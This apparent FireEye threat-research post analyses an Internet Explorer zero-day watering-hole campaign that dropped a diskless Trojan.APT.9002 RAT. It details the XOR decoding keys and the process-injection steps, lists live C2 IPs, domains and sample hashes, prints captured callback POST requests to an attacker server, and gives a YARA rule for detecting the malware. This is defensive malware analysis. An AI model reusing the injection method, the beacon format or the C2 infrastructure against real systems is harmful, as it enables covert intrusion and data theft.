Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless MethodRecently, we discovered a new IE zero-day exploit in the wild, which
has been used in a strategic Web compromise. Specifically, the
attackers inserted this zero-day exploit into a strategically
important website, known to draw visitors that are likely interested
in national and international security policy. We have identified
relationships between the infrastructure used in this attack and
that used in href="/content/fireeye-www/en_US/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html">Operation
DeputyDog. Furthermore, the attackers loaded the payload
used in this attack directly into memory without first writing to
disk – a technique not typically used by advanced persistent
threat (APT) actors. This technique will further complicate network
defenders’ ability to triage compromised systems, using traditional
forensics methods.
Enter Trojan.APT.9002
On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden
posted about a href="/content/fireeye-www/en_US/blog/threat-research/2013/11/new-ie-zero-day-found-in-watering-hole-attack.html">new
Internet Explorer 0-day exploit seen in the wild. This exploit
was seen used in a strategic Web compromise. The exploit chain was
limited to one website. There were no iframes or redirects to external
sites to pull down the shellcode payload.
Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were
able to retrieve the payload dropped in the attack. This payload has
been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT
variant) and runs in memory only. It does not write itself to disk,
leaving little to no artifacts that can be used to identify infected endpoints.
Specifically, the payload is shellcode, which is decoded and
directly injected into memory after successful exploitation via
a series of steps. After an initial XOR decoding of the payload with
the key "0x9F", an instance of rundll32.exe is launched and
injected with the payload using style="font-family: courier;">CreateProcessA, OpenProcess,
VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.
width="838" height="304"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-1.png"
alt="figure 1"
class="alignnone size-full wp-image-3782 landscape-lg" />Figure 1
- Initial XOR decoding of shellcode, with key '0x9F'
width="900" height="200"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-2a.png"
alt="figure 2a" class="alignnone size-full wp-image-3781 landscape-lg" />
width="900" height="290"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-2b.png"
alt="figure 2b"
class="alignnone size-full wp-image-3780 landscape-lg" /> href="/content/dam/legacy/blog/2013/11/figure-2c.png"> width="900" height="365"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-2c.png"
alt="figure 2c"
class="alignnone size-full wp-image-3779 landscape-lg" />Figure 2
– Shellcode launches rundll32.exe and injects payload
After transfer of control to the injected payload in rundll32.exe,
the shellcode is then subjected to two more levels of XOR decoding
with the keys '0x01', followed by '0x6A'.
width="660" height="205"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-3.png"
alt="figure 3"
class="alignnone size-full wp-image-3778 landscape-med" />Figure
3- Decoding shellcode with XOR key '0x01'
width="839" height="369"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-4.png"
alt="figure 4"
class="alignnone size-full wp-image-3777 landscape-lg" />Figure 4
- Decoding shellcode with XOR key '0x6A'
Process execution is then transferred to the final decoded payload,
which is a variant of the 9002 RAT.
width="900" height="218"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-5.png"
alt="figure 5"
class="alignnone size-full wp-image-3776 landscape-lg" />Figure 5
- Transfer of process execution to final decoded payload
The fact that the attackers used a non-persistent first stage
payload suggests that they are confident in both their resources and
skills. As the payload was not persistent, the attackers had to
work quickly, in order to gain control of victims and move
laterally within affected organizations. If the attacker did not
immediately seize control of infected endpoints, they risked losing
these compromised endpoints, as the endpoints could have been
rebooted at any time – thus automatically wiping the
in-memory Trojan.APT.9002 malware variant from the infected endpoint.
Alternatively, the use of this non-persistent first stage may
suggest that the attackers were confident that their intended targets
would simply revisit the compromised website and be re-infected.
Command and Control Protocol and Infrastructure
This Trojan.APT.9002 variant connected to a command and control
server at 111.68.9.93 over
port 443. It uses a
non-HTTP protocol as well as an HTTP POST for communicating with the
remote server. However, the callback beacons have changed in
this version, in comparison to the older 9002 RATs.
The older traditional version of 9002 RAT had a static 4-byte
identifier at offset 0 in the callback network traffic. This
identifier was typically the string "9002", but we have also
seen variants, where this has been modified – such as the 9002 variant
documented in the href="/content/fireeye-www/en_US/blog/threat-research/2013/08/the-sunshop-campaign-continues.html">Sunshop campaign.
width="900" height="114"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-6.png"
alt="figure 6"
class="alignnone size-full wp-image-3775 landscape-lg" />Figure 6
- Traditional 9002 RAT callback beacon
In contrast, the beacon from the diskless 9002 payload used
in the current IE 0-day attack is remarkably different and uses
a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is
present at offset 0 and changes with each subsequent beacon.
FireEye labs is aware that the 4-byte XOR version of 9002 has been
in the wild for a while and is used by multiple APT actors, but this
is the first time we’ve seen it deployed in the diskless payload method.
width="900" height="349"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-7.png"
alt="figure 7"
class="alignnone size-full wp-image-3774 landscape-lg" />Figure 7
- Sample callback beacons of the diskless 9002 RAT payload
width="900" height="375"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-8.png"
alt="figure 8"
class="alignnone size-full wp-image-3773 landscape-lg" />Figure 8
- XOR decrypted callback beacons of the diskless 9002 RAT payload
The XOR decoded data always contains the static value
"\x09\x12\x11\x20" at offset 16. This value is in fact
hardcoded in packet data construction function prior to XOR encoding.
This value most likely is the date "2011-12-09" but its
significance is not known at this time.
width="453" height="571"
src="https://www.fireeye.com/content/dam/legacy/blog/2013/11/figure-9.png"
alt="figure 9" class="alignnone size-full wp-image-3772 portrait-sm" />
Figure 9 - Packet data construction function showing hardcoded value
The diskless 9002 RAT payload also makes a POST request, which has
also changed from the traditional version. It has Base64 stub data,
instead of the static string "AA". The User-Agent string
and URI pattern remain the same however. It uses the static
string "lynx" in
the User-Agent string and the URI is incremental hexadecimal values.
Traditional 9002 RAT | scope="col" class="c09_td">Diskless 9002 RAT
|---|
POST /4
HTTP/1.1
User-Agent: lynx
Host:
ieee.boeing-job.com
Content-Length: 2
Connection: Keep-Alive
Cache-Control: no-cache
AA class="c09_td_value is-hidden-mml">POST /4 HTTP/1.1
User-Agent: lynx
Host: ieee.boeing-job.com
Content-Length: 2
Connection: Keep-Alive
Cache-Control: no-cache
AA | class="c09_td"> POST /2
HTTP/1.1
User-Agent: lynx
Host:
111.68.9.93:443
Content-Length: 104
Connection: Keep-Alive
Cache-Control: no-cache
wUeAKsFHgCrBR4AqwUeAKshVkQrBR4Aqw
UeAKsFHgCrBR4AqwUeAKsFHgCrBR4Aqw
UeAKsFHgCrBR4AqwUeAKsFHgCrBR4AqwUe
AKg== class="c09_td_value is-hidden-mml">POST /2 HTTP/1.1
User-Agent: lynx
Host: 111.68.9.93:443
Content-Length: 104
Connection: Keep-Alive
Cache-Control: no-cache
wUeAKsFHgCrBR4AqwUeAKshVkQrBR4Aqw
UeAKsFHgCrBR4AqwUeAKsFHgCrBR4Aqw
UeAKsFHgCrBR4AqwUeAKsFHgCrBR4AqwUe
AKg==
The data in the POST stub is also encrypted with a 4-byte XOR key,
and when decrypted, the data is similar to the data in the non-HTTP
beacon and also has the static value "\x09\x12\x11\x20".
Campaign Analysis
We previously observed style="font-family: courier;">104130d666ab3f640255140007f0b12d
connecting to the same style="font-family: courier;">111.68.9.93 IP address.
Analysis of MD5 style="font-family: courier;">104130d666ab3f640255140007f0b12d
revealed that it shared unique identifying characteristics with style="font-family: courier;">90a37e54c53ffb78969644b1a7038e8c,
style="font-family: courier;">acbc249061a6a2fb09271a68d53567d9,
and 20854f54b0d03118681410245be39bd8.
MD5 style="font-family: courier;">acbc249061a6a2fb09271a68d53567d9
and style="font-family: courier;">90a37e54c53ffb78969644b1a7038e8c
are both Trojan.APT.9002 variants and connect to a command and control
server at 58.64.143.244.
MD5 style="font-family: courier;">20854f54b0d03118681410245be39bd8
is another Trojan.APT.9002 variant. This variant connected to a
command and control server at ad04.bounceme.net.
Passive DNS analysis of this domain revealed that it resolved to
58.64.213.104 between
2011-09-23 and 2011-10-21. The following other domains have also been
seen resolving to this same IP address:
Domain | | class="c09_td">First Seen | class="c09_td">Last Seen
|---|
dll.freshdns.org class="c09_td_value is-hidden-mml">dll.freshdns.org
|
2011-12-08 class="c09_td_value is-hidden-mml">2011-12-08 | class="c09_td">
2012-01-31 class="c09_td_value is-hidden-mml">2012-01-31
grado.selfip.com class="c09_td_value is-hidden-mml">grado.selfip.com
|
2011-12-23 class="c09_td_value is-hidden-mml">2011-12-23 | class="c09_td">
2012-01-10 class="c09_td_value is-hidden-mml">2012-01-10
usc-data.suroot.com class="c09_td_value is-hidden-mml">usc-data.suroot.com
|
2012-02-20 class="c09_td_value is-hidden-mml">2012-02-20 | class="c09_td">
2012-02-22 class="c09_td_value is-hidden-mml">2012-02-22
usa-mail.scieron.com class="c09_td_value is-hidden-mml">usa-mail.scieron.com
|
2011-12-01 class="c09_td_value is-hidden-mml">2011-12-01 | class="c09_td">
2012-02-22 class="c09_td_value is-hidden-mml">2012-02-22
If the domain dll.freshdns.org rings a bell, it should. While
covering a different Internet Explorer Zero-day (CVE-2013-3893) and
the associated Operation DeputyDog campaign, we reported that the CnC
infrastructure used in that campaign overlapped with this same domain:
dll.freshdns.org.
Inside the in-memory version of the Trojan.APT.9002 payload used in
this strategic Web compromise, we identified the following interesting
string: “rat_UnInstall”.
Through DTI, we found this same string present in a number of
different samples including the ones discussed above:
104130d666ab3f640255140007f0b12d
90a37e54c53ffb78969644b1a7038e8c
acbc249061a6a2fb09271a68d53567d9
20854f54b0d03118681410245be39bd8
Based on this analysis, all of these samples, including the
in-memory variant, can be detected with the following simple YARA signature:
rule FE_APT_9002_rat
{
meta:
author = "FireEye Labs"
strings:
$mz = {4d 5a}
$a = "rat_UnInstall" wide ascii
condition:
($mz at 0) and $a
}
We also found the following strings of interest present in these
above 9002 RAT samples (excluding the in-memory variant):
McpRoXy.exe
SoundMax.dll
These strings were all observed and highlighted by Bit9 href="https://blog.bit9.com/2013/02/25/bit9-security-incident-update/">here.
As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT)
was also used in the original Operation Aurora campaign, and the
“rat_UnInstall” string can be found in the original Aurora samples
confirming the lineage.
Conclusions
By utilizing strategic Web compromises along with in-memory payload
delivery tactics and multiple nested methods of obfuscation, this
campaign has proven to be exceptionally accomplished and elusive. APT
actors are clearly learning and employing new tactics. With uncanny
timing and a penchant for consistently employing Zero-day exploits
in targeted attacks, we expect APT threat actors to continue to
evolve and launch new campaigns for the foreseeable future. Not
surprisingly, these old dogs continue to learn new tricks.
FireEye Labs would like to thank iSIGHT Partners for their
assistance with this research.
Source:
Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method
